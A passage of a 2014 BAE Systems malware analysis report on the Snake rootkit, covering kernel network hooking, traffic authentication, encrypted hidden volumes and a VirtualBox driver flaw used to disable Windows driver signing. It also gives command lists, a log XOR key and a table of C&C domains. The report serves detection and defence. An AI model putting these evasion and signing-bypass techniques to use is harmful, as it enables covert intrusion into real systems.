      07            ntStatus = _FwpsStreamInjectAsync(m_hInjection,
      08                                               0,
      09                                               0,
      10                                               flowHandle,
      11                                               calloutId,
      12                                               layerId,
      13                                               20,
      14                                               3,
      15                                               iRet,
      16                                               0,
      17                                               sStreamInjectCompletion,
      18                                               0);
      19        if (!ntStatus)
      20        {
      21            iRet = 0;
      22        }
      23        if (iRet)
      24        {
      25           FwpsFreeNetBufferList(iRet);
      26        }
      27        return ntStatus;
      28    }
                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014           15
In order to qualify as a browser, the usermode process must have any of the following names:


        01    bool isBrowserProcess(const wchar_t *szProcName)
        02    {
        03        return !wcsicmp(szProcName, L”iexplore.exe”) ||
        04               !wcsicmp(szProcName, L”firefox.exe”) ||
        05               !wcsicmp(szProcName, L”opera.exe”) ||
        06               !wcsicmp(szProcName, L”netscape.exe”) ||
        07               !wcsicmp(szProcName, L”mozilla.exe”) ||
        08               !wcsicmp(szProcName, L”chrome.exe”);
        09    }




TDI FILTER DRIVER
In addition to WFP, Snake also hooks the Transport Driver Interface (TDI) network routines by setting itself up as a TDI filter driver.


TDI is considered deprecated and will be removed in future versions of Microsoft Windows, but it’s still supported on Windows 7.


Being registered as a TDI driver on the device stack, Snake hooks TCP calls. This way it intercepts all requests along with their
parameters via IRP (IO request package) hooks.


By ‘sniffing’ all the requests, it can now inspect the traffic, looking for and then parsing GET/POST HTTP requests and also SMTP
communications, in order to distinguish commands addressed to itself.


If the rootkit detects that the OS version is pre-Vista (e.g. Windows XP) or Windows Server 2008 (e.g. Windows Server 2003), it will
invoke FwpsStreamInjectAsync0() API in order to generate outbound requests.


Whenever the client establishes connections, the TDI driver will also ‘pulse’ the \BaseNamedObjects\wininet_activate
event, just like the WPF driver’s component of it, in order to notify the userland service about the event.


The data that the driver intercepts, along with the important notifications, is passed to the userland DLL to be processed. If the
data contains commands from C&C, the DLL module is expected to execute them and report results back to the driver to be
delivered back to C&C.




NDIS HOOKING
For NDIS versions 5.X, Snake rootkit contains code that installs NDIS filter intermediate driver.

This driver is set up above a miniport driver (a driver that communicates with the physical device) and below a protocol driver (a
driver that implements a protocol, e.g. TCP/IP).

The driver is registered with NdisIMRegisterLayeredMiniport() API.

After that, the drivers hooks the following exports within ndis.sys:

    •	 NdisIMRegisterLayeredMiniport
    •	 NdisTerminateWrapper

The rootkit contains code that installs NDIS filter driver for NDIS 6.0 and above:

    Unique name: {c06b1a3b-3d16-4181-8c8d-7015bfc5b972}
    User-readable description: filter_c06b1a3b

NDIS filter driver configuration is stored in the registry entry:

    HKLM\SYSTEM\CurrentControlSet\Control\Network\{4d36e974-e325-11ce-bfc1-08002be10318}

The driver is registered with NdisFRegisterFilterDriver() API.

                                                                    BAE Systems Applied Intelligence: Snake Rootkit Report 2014           16
After that, the drivers hooks the following exports within ndis.sys (for NDIS 6.0):

    •	 NdisFRegisterFilterDriver
    •	 NdisFDeregisterFilterDriver
    •	 NdisSetOptionalHandlers
    •	 NdisFSetAttributes

Another set of exports it attempts to hook in ndis.sys (for NDIS 6.0) is:

    •	 NdisMRegisterMiniportDriver
    •	 NdisMDeregisterMiniportDriver
    •	 NdisMIndicateReceiveNetBufferLists
    •	 NdisMRestartComplete
    •	 NdisMPauseComplete

With the hooks installed, whenever the network adapter driver attempts to register to NDIS, or whenever there is an attempt to
install NDIS intermediate driver or NDIS filter driver, the hook handlers will register Snake’s own MiniportXxx functions with the NDIS
library.

With its own miniport handler functions, it can send/receive data by using a private TCP/IP stack, bypassing all firewall hooks, and
making its open ports invisible to scanners.



NDIS PROTOCOL DRIVER
The Snake rootkit registers itself as Network Driver Interface Specification (NDIS) protocol driver.

    Intercepting Network Data                                              Whenever the underlying miniport driver
                                                                           receives data from the network, it calls NDIS
                                                                           by invoking a data receive indication function
                                NdisMIndicateReceiveNetBufferLists()
                                                                           NdisMIndicateReceiveNetBufferLists().
     NDIS Protocol                                        Miniport
                                  NDIS                                     When that happens, NDIS invokes Snake’s hook function
        Driver                                             Driver
                                                                           (ProtocolReceiveNetBufferLists) to process the
       ProtocolReceiveNetBufferLists()                                     received data.



    Sending Network Data                                                   To send the data back, the protocol driver defines the data
                                                                           in a list of NET_BUFFER_LIST structures, and then passes
                                    MiniportSendNetBufferLists()
                                                                           them to NDIS by calling NdisSendNetBufferLists().

     NDIS Protocol                                       Miniport
                                  NDIS                                     NDIS, in turn, calls the miniport driver’s
        Driver                                            Driver
                                                                           MiniportSendNetBufferLists() function to forward
           NdisSendNetBufferLists()                                        the data to an underlying miniport driver.



Being able to fully manipulate traffic at 3 different levels (NDIS protocol driver, TDI Driver, and WPF callout driver), Snake is able to
‘inject’ the traffic into existing communications to reach out to external components, and at the same time parse all incoming traffic
to detect traffic addressed to itself:

                                                                                       Infected User        Injected
                                    Traffic Interception                                 Application        Module
                                0xDEADBEAF/0xC001BA5E
                                           Checks
                                                    WFP           TDI          NDIS
                  Internet                                                                                        Memory
                                                                                                                   pipes
                                      Traffic
                                    Injection


                                                                        Snake’s Kernel Mode Driver



                                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014           17
DEAD BEEF ON A COOL BASE
As the driver intercepts all connections (e.g. on TDI_RECEIVE TDI event or ClientEventReceive() event notification triggered
through its TDI Filter Driver), it parses all incoming HTTP and SMTP traffic to see if it can be authenticated as Snake traffic.

The authentication is implemented by decrypting the data and making sure it starts with the markers 0xDEADBEAF and
0xC001BA5E (which appear to derive from ‘DEAD BEEF’ and ‘COOL BASE’).

Here are specific steps:

    •	   The data it accepts should start from a 10 byte signature with the following rules:

         •	     the first 8 bytes must all be ASCII characters, the parser calculates their total sum (sum):

                 01         for (int i = 0; i < 8; i++)
                 02         {
                 03         	      if (*(BYTE *)ptrBuffer <= 32 ||
                 04         	          *(BYTE *)ptrBuffer >= 128)
                 05         	{
                 06         		return 0;                                           // if not ASCII, quit
                 07         	}
                 08         	      sum += *(BYTE *)ptrBuffer;                    // add to sum
                 09         	      ++ptrBuffer;                                  // advance buffer pointer
                 10         }


         •	     9th byte must be equal to sum / 26 + 65

         •	     10th byte must be equal to 122 - sum % 26


                 01         if ((*(BYTE *)ptrBuffer != sum / 26 + 65) ||
                 02             (*(BYTE *)(ptrBuffer + 1) != 122 - sum % 26))
                 03         {
                 04                result = 0;
                 05         }

   •	    Starting from the 11th byte, the data must be base64-encoded; the parser decodes that data

           01          base_64_decode(abyBuffer + 10,
           02                         &ptrDecoded,
           03                         iMaxLength - 10);


    •	   Once decoded, the decrypted data should contain the aforementioned markers:

          .text:F6751426              lea          eax, [ebp+dwMarker]                            ; return marker here
          .text:F6751429              push         eax
          .text:F675142A              mov          ecx, [ebp+buf_len]                             ; traffic’s buffer length
          .text:F675142D              push         ecx
          .text:F675142E              mov          edx, [ebp+abyBuffer]                           ; traffic’s buffer pointer
          .text:F6751431              push         edx
          .text:F6751432              call         decrypt_traffic                                ; decrypt traffic first
          .text:F6751437              test         eax, eax
          .text:F6751439              jz           short exit                                     ;   if failed, exit
          .text:F675143B              mov          eax, [ebp+dwMarker]                            ;   check the returned marker
          .text:F675143E              cmp          eax, _DEADBEAF                                 ;   _DEADBEAF dd 0DEADBEAFh
          .text:F6751444              jnz          short exit                                     ;   if not 0xDEADBEAF, exit
          .text:F6751446              cmp          [ebp+dwNextDword], 0C001BA5Eh                  ;   check next DWORD
          .text:F675144D              jnz          short next                                     ;   if not 0xC001BA5E, exit


   •	    When the traffic is authenticated, its contents is then parsed by using “GET”, “POST”, “http://”, “HTTP/”,
         “Content-Length”, “Connection”, “close” tags, in order to retrieve HTTP requests

   •	    SMTP traffic is also parsed, only by using “MAIL “, “RCPT “ tags in order to retrieve SMTP characteristics



                                                                  BAE Systems Applied Intelligence: Snake Rootkit Report 2014   18
By observing such behaviour, one might wonder why the driver is expecting HTTP or SMTP clients? Why does it act like HTTP/SMTP
server processing client traffic, and serving back normal responses as per the protocol?

For example, in HTTP the driver will respond with messages like “HTTP/1.1 200 OK” or “HTTP/1.1 500 Server Error”.

For SMTP traffic, it communicates back normal SMTP server responses, such as “250 Sender OK”, “503 Bad sequence of
commands”, etc.

The reason behind such behaviour is that the driver is acting in this mode like a proxy, routing requests from other infected hosts to
a remote C&C server.

Another opportunity this mode unlocks is a peer-to-peer network mode with no centralised C&C. The infected hosts are capable
of transferring the following peer-2-peer commands defining fragment size, reliability parameters, new peer information, peer
impersonation flags, etc.:

    •	 frag_size
    •	 frag_no_scrambling
    •	 peer_frag_size
    •	 read_peer_nfo
    •	 write_peer_nfo
    •	 imp_level
    •	 reliable_n_tries
    •	 reliable_keepalive
    •	 reliable_rtt
    •	 reliable_padding
    •	 reliable_no_keepalive
    •	 m2b_raw
    •	 psk
    •	 key

Once the incoming data is authenticated and decrypted, the driver passes it to the DLL by using memory pipes.

For example, on HTTP traffic arrival it may send traffic data into a memory pipe \Device\NamedPipe\isapi_http, and then,
send a received peer-2-peer command message write_peer_nfo=[IP_ADDRESS:PORT]0frag_no_scrambling=Y0 into
another memory pipe called \Device\NamedPipe\isapi_dg.

In order to log its activity, the driver writes log data into the pipe \Device\NamedPipe\isapi_log, so that the DLL could log the
data into the log files.

Full list of the named pipes used for communications is provided below:

    •	 \Device\NamedPipe\isapi_http
    •	 \Device\NamedPipe\isapi_log
    •	 \Device\NamedPipe\isapi_dg
    •	 \Device\NamedPipe\services_control

Messages submitted into the pipes are wrapped into the structures. The structures appear to contain headers to allow the pipe
server, that runs within an infected userland module, to identify the messages first and then unwrap the structures accordingly.

For example, the message headers could be:

    •	 domc.np
    •	 frag.np


Once received from the pipes and unwrapped/decoded, the data is then handled by the usermode DLL as per the data intention -
whether it’s a traffic sniffing task, a peer-2-peer client logic, a logging task, or a task of saving received files into the virtual volumes.




                                                                   BAE Systems Applied Intelligence: Snake Rootkit Report 2014             19
VIRTUAL FILE VOLUMES
The driver creates virtual file volumes for encrypted storage of its files and configuration data:

    •	 \\.\Hd1
    •	 \\.\Hd2

The volumes are mounted from the virtual file systems RawDisk1 and RawDisk2.

The first partition is created with the following steps:

    •	   the driver creates a 100Mb (0x6400000 bytes) file %windows%\$NtUninstallQ817473$\hotfix.dat by calling
         IoCreateFile() API

    •	   then it creates a section object with the flags SEC_COMMIT and SEC_NOCACHE (0x18000000) by calling
         ZwCreateSection(); the flags mean the file is mapped into memory, the entire range of pages will be committed

    •	   next, it maps a view of the created section into the virtual address space by calling ZwMapViewOfSection()

    •	   finally, it creates device \Device\RawDisk1 from the section map and mounts it as \\.\Hd1

The hook installed by the rootkit on IofCallDriver() API provides on-the-fly data encryption/decryption whenever that data is
written to or read from the volume. The encryption algorithm is based on CAST-128, with the hard-coded key stored in the rootkit
body.

As a result, whenever the data is saved into the volume Hd1, it will be scrambled on-the-fly, and reflected in the persistent storage
file hotfix.dat, which is physically located within the rootkit’s ‘home’ directory:

   Z:\WINDOWS\$NtuninstallQ817473$>dir
     Volume in drive Z has no label.
     Volume Serial Number is 2479-98AC


     Directory of Z:\WINDOWS\$NtuninstallQ817473$


   13/02/2014        04:47 PM         <DIR>                 .
   13/02/2014        04:47 PM         <DIR>                 ..
   03/02/2014        01:57 PM                    210,944 fdisk.sys
   13/02/2014        04:47 PM              104,857,600 hotfix.dat
                         2 File(s)          105,068,544 bytes
                         2 Dir(s)        8,406,433,792 bytes free


Analysis of the hotfix.dat file contents reveals it’s a fully encrypted file with flat entropy. Thus, it is not possible to reveal the
contents of the Snake’s volume by accessing the contents of this file (unless the encryption is broken, that is).

Enlisting the contents of the created volume is possible, along with creating files on it:


    C:\>echo Test > \\.\Hd1\Test.txt

    C:\>type \\.\Hd1\\Test.txt
    Test

    C:\>dir \\.\Hd1\\
      Volume in drive \\.\Hd1 has no label.
      Volume Serial Number is BA9B-99E8

      Directory of \\.\Hd1

    14/02/2014        02:22 PM                             7 Test.txt
                          1 File(s)                         7 bytes
                          0 Dir(s)                          0 bytes free


                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014             20
However, as soon as IofCallDriver() hook is removed, the same ‘dir’ command will fail, as with no hook the rootkit cannot
decrypt the scrambled volume:


    C:\>dir \\.\Hd1\\
    Incorrect function.



The second volume \\.\Hd2 is not mapped to a file, so when a computer is switched off, its contents is lost. Thus, it could be
used as a temporary or a cache storage. The data stored in \\.\Hd2 is encrypted the same way the first volume’s data.

Both volumes appear to be set up as FAT volumes.

An attempt to read the data from these volumes with the code below:

 01         HANDLE hDisk = CreateFile(“\\\\.\\Hd1”,
 02         			                       GENERIC_READ,
 03         			                       FILE_SHARE_READ,
 04         			                       NULL,
 05         			                       OPEN_EXISTING,
 06         			                       0,
 07         			                       NULL);
 08         BYTE lpBuffer[16384];
 09         DWORD dwBytes;
 10         if (hDisk)
 11         {
 12         	      ReadFile(hDisk, lpBuffer, 16384, &dwBytes, NULL);
 13         	      // inspect the buffer
 14         	CloseHandle(hDisk);
 15         }

This will produce the following results:

For \\.\Hd1:
                     0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F    0123456789ABCDEF
        00000000     EB   00   00   00   00   00   00   00   00   00   00   00   02   04   02   00   ................
        00000010     02   00   02   00   00   F8   C8   00   20   00   02   00   01   00   00   00   ........ .......
        00000020     FF   1F   03   00   80   00   29   E8   99   9B   BA   4E   4F   20   4E   41   ......)....NO NA
        00000030     4D   45   20   20   20   20   46   41   54   31   36   20   20   20   00   00   ME    FAT16   ..
        00000040     00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   ................

For \\.\Hd2:
                     0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F    0123456789ABCDEF
        00000000     EB   00   00   00   00   00   00   00   00   00   00   00   02   01   02   00   ................
        00000010     02   00   02   FF   7F   F8   7F   00   20   00   02   00   01   00   00   00   ........ .......
        00000020     00   00   00   00   80   00   29   E8   99   9B   BA   4E   4F   20   4E   41   ......)....NO NA
        00000030     4D   45   20   20   20   20   46   41   54   31   36   20   20   20   00   00   ME    FAT16   ..
        00000040     00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   00   ................


 The ability to keep its data on TrueCrypt-like volumes provides Snake with a powerful ability to exchange data with the usermode
 DLL, as these volumes are accessible both from usermode and kernel mode.

 Static analysis of the code reveals that the Snake driver uses virtual volumes to store its data and additional files on it.

 For example, it stores its message queue in a file called:

 \.\\Hd1\queue

 The message queue indicates an asynchronous communication model between kernel mode driver and a usermode DLL,
 e.g. to pass commands, configuration parameters, binary images of additional Snake components.

 Other files that may also be found on the virtual volume are: klog, conlog, dump, rkng_inst.exe,

 where rkng_inst.exe could be the name of the original dropper, and other log files could potentially contain executed command
 outputs, intercepted keystrokes, and other output logs.

                                                                       BAE Systems Applied Intelligence: Snake Rootkit Report 2014   21
64-BIT EDITIONS OF WINDOWS
The 64-bit version of Snake must deal with a number of additional security protections implemented in 64-bit editions of Microsoft
Windows, the most significant of which are kernel driver signature validation and Kernel Patch Protection (more commonly known as
PatchGuard).

PatchGuard is a feature of 64-bit Windows which aims to prevent modification of the Windows kernel, something that is often
performed by malware attempting to hide itself on an infected system. Although PatchGuard is successful at preventing kernel
patching once initialised, several published bypass approaches exist4,5. The technique used by Snake appears to be similar to these
approaches.

The driver signing policy enforced by all 64-bit versions of Windows from Vista onwards requires all kernel-mode drivers to be signed
with a valid digital signature. The Snake dropper contains both 32-bit and 64-bit unsigned drivers, and it can successfully load its
unsigned 64-bit driver on a 64-bit version of Windows XP – as driver signing is not enforced it does not have to resort to any tricks
under this OS version. In this case, in order to ensure the driver is loaded automatically at startup, the dropper can install the 64-bit
driver on 64-bit Windows XP in the same way it installs a 32-bit driver on a 32-bit version of Windows XP.

On 64-bit versions of Windows Vista and above it behaves differently. Firstly, the 64-bit unsigned driver file is created as usual:

     %windows%\$NtUninstallQ817473$\fdisk.sys

However, the driver is not registered; what is registered instead is the dropper itself. To do that, the dropper first copies itself as:

     %windows%\$NtUninstallQ817473$\fdisk_mon.exe

The dropper then registers itself as a service to ensure it starts every time Windows is booted, by creating the values:

     ErrorControl = 0
     Type = 16
     Start = 2
     ImagePath = ”%SystemRoot%\$NtUninstallQ817473$\fdisk_mon.exe
     ObjectName = ”LocalSystem”
     WOW64 = 1

in the registry key:

     HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Ultra3

Now comes the most interesting part: does the dropper manage to load its 64-bit unsigned driver under 64-bit versions of Windows
Vista and later versions, such as 64-bit Windows 7/8? The answer: Yes, it does.

Does it resort to using bootkit technology, which has been used in the past to bypass protections to load unsigned 64-bit drivers?
The answer: No. Bootkits must overwrite the Master Boot Record (MBR) and antivirus products are well trained to catch that kind of
bad behavior.

The masterminds behind Snake rootkit seem to be well aware of this so what they resorted to instead is leveraging a vulnerability
in a well-known virtualization product called VirtualBox, a product made by Oracle which is widely used by researchers to analyse
malware. VirtualBox driver version 1.6.2 was released in June 2, 2008. Two months later, in August 2008, security researchers
reported that its main driver component, which is signed under the entity “innotek Gmbh”, contained a privilege escalation
vulnerability6.

In a nutshell, the VirtualBox software installs a driver called VBoxDrv. The driver is controlled with the Input/Ouput Control Codes
(32-bit values called IOCTL) passed along DeviceIoControl() API. One of the documented transfer methods that the system
uses to pass data between the caller of DeviceIoControl() API and the driver itself is called METHOD_NEITHER.


As per MSDN documentation7, METHOD_NEITHER is a special transfer type when Input/Output Request Packet (IRP) supplies the
user-mode virtual addresses of the input and output buffers, without validating or mapping them.


4	
          http://www.codeproject.com/Articles/28318/Bypassing-PatchGuard-3
5
 	http://uninformed.org/index.cgi?v=3&a=3&p=17
6	
          http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability
7	
          http://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(v=vs.85).aspx

                                                                  BAE Systems Applied Intelligence: Snake Rootkit Report 2014              22
It is the responsibility of the driver to validate the addresses sent from user mode in order to make sure those addresses are valid
usermode addresses.

The source code of the vulnerable driver (shown below) demonstrates how the integer value of the rc variable is first derived from
the input parameters pDevObj (device object) and pIrp (request packet). Next, that integer value is written into the UserBuffer - an
arbitrary address, pointed by the input parameter pIrp (request packet). As there are no validations made for the UserBuffer an
attacker can craft such input parameters that will define address within kernel memory to patch and the data to patch it with:

    01     /**
    02       * Device I/O Control entry point.
    03       *
    04       * @param   pDevObj     Device object.
    05       * @param   pIrp        Request packet.
    06       */
    07     NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
    08     {
    09         PSUPDRVDEVEXT       pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
    10         PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
    11         PSUPDRVSESSION      pSession = (PSUPDRVSESSION)pStack->FileObject->FsContext;
    12
    13         ULONG ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode;
    14
    15         if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
    16           || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
    17           || ulCmd == SUP_IOCTL_FAST_DO_NOP)
    18         {
    19            int rc;
    20     	         ...
    21            rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
    22     	
    23     	          //   supdrvIOCtlFast() function itself will return:
    24     	          //   pDevExt->pfnVMMR0EntryFast(pSession->pVM, SUP_VMMR0_DO_NOP);
    25     	          //   the function depends pDevExt and pSession, which in turn
    26     	          //   are derived from the input parameters pDevObj and pIrp
    27                //   therefore, rc value can be manipulated
    28             __try
    29             {
    30                                                           // save the manipulated rc value back into
    31                *(int *)pIrp->UserBuffer = rc;             // the input parameter (the address to patch)
    32             }
    33             __except(EXCEPTION_EXECUTE_HANDLER)
    34             {
    35                ...
    36             }
    37         }
    38     }


Now that the vulnerable driver can be used as a weapon to patch kernel memory, all the malware needs to do is to patch the content
of the variable nt!g_CiEnabled, a boolean variable “Code Integrity Enabled” that marks whether the system was booted in
WinPE mode.

When running in WinPE mode there is no Code Integrity control, therefore by enabling this mode by patching only one bit,
Code Integrity verification is disabled so that the unsigned 64-bit driver can be loaded.

This variable is used within the function SepInitializeCodeIntegrity(), implemented within CI.dll’s function
CiInitialize() and imported by the NT core (ntoskrnl.exe). In order to find the variable in kernel memory, the Snake
dropper loads a copy of the NT core image (ntoskrnl.exe), locates the import of CI.dll’s function CiInitialize(), and then
SepInitializeCodeIntegrity() within it. Then it parses the function’s code to locate the offset of the variable.

Once located, the content of the variable nt!g_CiEnabled is patched in kernel memory and the 64-bit unsigned driver is loaded.
This explains why Snake dropper registers itself as a service to start each time Windows starts: in order to install the vulnerable
VBox driver first, then pass it a malformed structure to disable Code Integrity control with a DeviceIoControl() API call, and
finally, load the driver.

In order to be able to perform the steps above, the dropper must first obtain Administrator privileges. It attempts to do this by
running MS09-025 and MS10-015 exploits on the target system. These exploits are bundled within the dropper in its resource
section as executable files. Other resources embedded within the dropper are the 32-bit and 64-bit builds of its driver, a tool for
creating NTFS file systems, and the initial message queue file which is written into the virtual volume. The message queue file
contains configuration data and the libraries that will be injected into usermode processes.

                                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014            23
USERMODE DLLS
The usermode DLLs injected by the kernel-mode driver into the userland system process (e.g. explorer.exe) are:

   •	     32-bit Windows OS:
           •	 rkctl_Win32.dll
           •	 inj_snake_Win32.dll

   •	     64-bit Windows OS:
           •	 rkctl_x64.dll
           •	 inj_snake_x64.dll

The rkctl_Win32.dll/rkctl_x64.dll module uses the following hard-coded named pipe for communications:
\\.\pipe\services_control

The remote commands it receives appear to be designed to control other components of Snake:

   •	     tc_cancel                                                 •	    tc_free_data
   •	     config_read_uint32                                        •	    tc_get_reply
   •	     tr_free                                                   •	    tc_read_request_pipe
   •	     tr_alloc                                                  •	    tc_send_request_bufs
   •	     tc_send_request                                           •	    t_close
   •	     tr_write_pipe                                             •	    tc_socket
   •	     snake_modules_command                                     •	    snake_free
   •	     t_setoptbin                                               •	    snake_alloc

The inj_snake_Win32.dll/inj_snake_x64.dll module exports 61 functions. It is designed to perform the high-level tasks
such as:

   •	     manage the configuration data (by using a queue)
   •	     exfiltrate data by using Windows Internet (WinINet) APIs or Windows Sockets 2 (Winsock) APIs:
           •	   communicate with the C&C server and receive commands to execute
           •	   submit logs to the C&C server and other reports

When the DLL activates, it reads configuration parameters from the configuration queue, that the driver creates on a virtual volume.
One of the parameters defines the pipe name(s) that the DLL should use for its communications.

The remote commands received by this Snake DLL module are designed to set up various communication parameters:

     •	    http_log                                                •	    redir_str
     •	    http_no_pragma_cache                                    •	    http_max_opt
     •	    http_no_accept                                          •	    http_option
     •	    proxy_useragent                                         •	    http_uri
     •	    proxy_bypass                                            •	    no_server_hijack
     •	    proxy_server                                            •	    imp_level
     •	    proxy_discover                                          •	    net_password
     •	    proxy_passwd                                            •	    net_user
     •	    proxy_user                                              •	    write_peer_nfo
     •	    check_inet                                              •	    read_peer_nfo


To post the data, the DLL can use the following User-Agent string “Mozilla/4.0 (compatible; MSIE 6.0)”.
It may rely on the following Internet Media types (MIME types) for data exfiltration:

   •	     application/x-shockwave-flash                           •	    image/gif
   •	     image/pjpeg                                             •	    application/msword
   •	     image/jpeg                                              •	    application/vnd.ms-excel
   •	     image/x-xbitmap                                         •	    application/vnd.ms-powerpoint

Request type it uses can either be POST of GET, and C&C server resource name is /default.asp.




                                                              BAE Systems Applied Intelligence: Snake Rootkit Report 2014        24
RECONNAISSANCE TOOL
One of the Snake components that could have been downloaded from a remote C&C server, was identified as a network
reconnaissance tool.

When run as a command line tool, with its logic defined with the command line switches, this tool enumerates other network hosts
and detects what Windows RPC services are enabled at the endpoints. It carries a list of interface identifiers associated with
the named pipes. It then uses these identifiers to write a message to and read a message from the associated named pipes. By
knowing what RPC services are running, it can successfully fingerprint all network hosts by mimicking the Metasploit’s logic of OS
fingerprinting via SMB. The fingerprinting allows it to reveal the following characteristics for each host found in the network:

   •	   the version of the operating system
   •	   version of the service pack
   •	   the installed network services

The data it retrieves is encrypted and saved into a configuration file %system%\vtmon.bin. This file is then further encrypted with
an NTL-based (Number Theory Library) algorithm and is uploaded by the usermode-centric Snake rootkit to the C&C server, along
with other configuration files, such as mtmon.sdb, mtmon32.sdb, gstatsnd.bin, gstat.bin, gstat32.bin, and other log
files found in the %windows%\$NtUninstallQ[random]$ directory.

By using this function the remote attacker can identify any potentially exploitable hosts located in the same network as the victim.
The attacker may then craft an exploit against those hosts, possibly by using the Metasploit framework, and then deliver the
generated shellcode back to the reconnaissance tool to be applied against the identified hosts by running the tool with the
‘exp_os’ switch.

If the tool successfully delivers the payload and exploits the remote host(s), it will replicate the infection across the network, taking
control over new hosts, thus repeating the infection cycle all over again and spreading the infection further. Unlike traditional worm
techniques, this process is rather manual, but its danger is in the fact that the attacker can flexibly craft new attack methods,
adjusting them to the hosts present within the network, thus preying on the weakest (least updated, most vulnerable) victims along
its path.




                                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014            25
RELATIONSHIP TO AGENT.BTZ
As seen from the check-in logs found within one of the recent samples, the time span covers almost 6 years from January 2007 till
December 2012, which is aligned with the first reports of Agent.BTZ. It’s worth noting that Agent.BTZ used the same XOR key for its
logs as the most recent variants:

1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s

Log files created by the latest samples of Snake, compiled in 2013 and 2014, were successfully decrypted with the same XOR key.

Other similarities include the usage of the virtual partition \\.\Vd1, the temporary file named FA.tmp, usage of files named
mswmpdat.tlb, wmcache.nld, winview.ocx.




CONCLUSION
The cyber-espionage operation behind the Snake rootkit is well established, a sample comiled in January 2006 indicates that
the activity would have begun in at least 2005. It is also sophisticated, using complex techniques for evading host defences and
providing the attackers covert communication channels. Toolmarks left behind by the authors ‘vlad’ & ‘gilg’, leave tantalizing clues
as to the personas behind this.

From a technical perspective, Snake demonstrates two very different approaches to the task of building a cyber-espionage toolkit.
One approach is to delegate the network communication engine to usermode code, backed up by a usermode rootkit. Another
approach is to carry out all of the communications from the kernel-mode driver, which is a very challenging task by itself.

The complexity of the usermode-centric approach is on par with Rustock rootkit - it uses similar techniques. It’s an old well-polished
technology that evolved over the years and demonstrated its resilience and survivability under the stress of security counter-
measures. The complexity of the kernel-centric architecture of Snake is quite unique. This architecture is designed to grant Snake
as much flexibility as possible. When most of the infected hosts are cut off from the outside world, it only needs one host to be
connected online. The traffic is then routed through that host to make external control and data exfiltration still possible.

The presence of the reconnaissance tool in the Snake operators’ framework suggests the existence of an arsenal of infiltration
tools, designed to compromise a system, then find a way to replicate into other hosts, infect them, and spread the infection
even further. As demonstrated, the backdoor commands allow Snake to provide remote attackers with full remote access to the
compromised system. Its ability to hibernate, staying fully inactive for a number of days, makes its detection during that time very
difficult.

The analysed code suggests that even file system and registry operations can be delegated by an infected module to another
module in order to stay unnoticed by behaviour analysis engines of the antivirus products, and to overcome account restrictions of
the browser processes so that the injected module could still write into files and into the sensitive registry hives.

The logs and dumps it creates on the hidden virtual volumes contributes to its stealthiness too. A great deal of attention has also
been given to keep its network communications as quiet as possible. Its ability to generate malicious traffic whenever the user
goes online and start loading the web pages allows it to ‘blend in’ with the legitimate communications.

We expect much more will be uncovered by researchers in the coming weeks as the capabilities of this operation are further fleshed
out. However, as we implied in the opening section, we view this threat to be a permanent feature of the landscape. Whether they
dismantle this toolset and start from scratch, or continue using tools which have been exposed, remains to be seen. For their
targets though the considerable challenge of keeping secrets safe on sensitive networks will certainly continue for years to come.




RECOMMENDATIONS
   •	   Search logs for connections to Snake’s command and control servers (see Appendix A)
   •	   Search for MD5 hashes of the known samples (see Appendix B)
   •	   Use Indicators of Compromise for building host-based rules (see Appendix C)
   •	   Deploy SNORT rules for network based detection of Snake (see Appendix D)




                                                               BAE Systems Applied Intelligence: Snake Rootkit Report 2014         26
APPENDIX A
Domain                        IP Address       Country     Contact Email             Nameserver
arctic-zone.bbsindex.com      124.248.207.50   HK          abuse@directnic.com       NS1.DTDNS.COM
cars-online.zapto.org         124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
eunews-online.zapto.org       124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
fifa-rules.25u.com            124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
forum.sytes.net               124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
franceonline.sytes.net        124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
freeutils.3utilities.com      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
health-everyday.faqserv.com   124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
nhl-blog.servegame.com        124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
olympik-blog.4dq.com          124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
pockerroom.servebeer.com      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
pressforum.serveblog.net      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
scandinavia-facts.sytes.net   124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
sportmusic.servemp3.com       124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
stockholm-blog.hopto.org      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
supernews.sytes.net           124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
sweeden-history.zapto.org     124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
tiger.got-game.org            124.248.207.50   HK          abuse@web.com             NS1.CHANGEIP.ORG
top-facts.sytes.net           124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
weather-online.hopto.org      124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
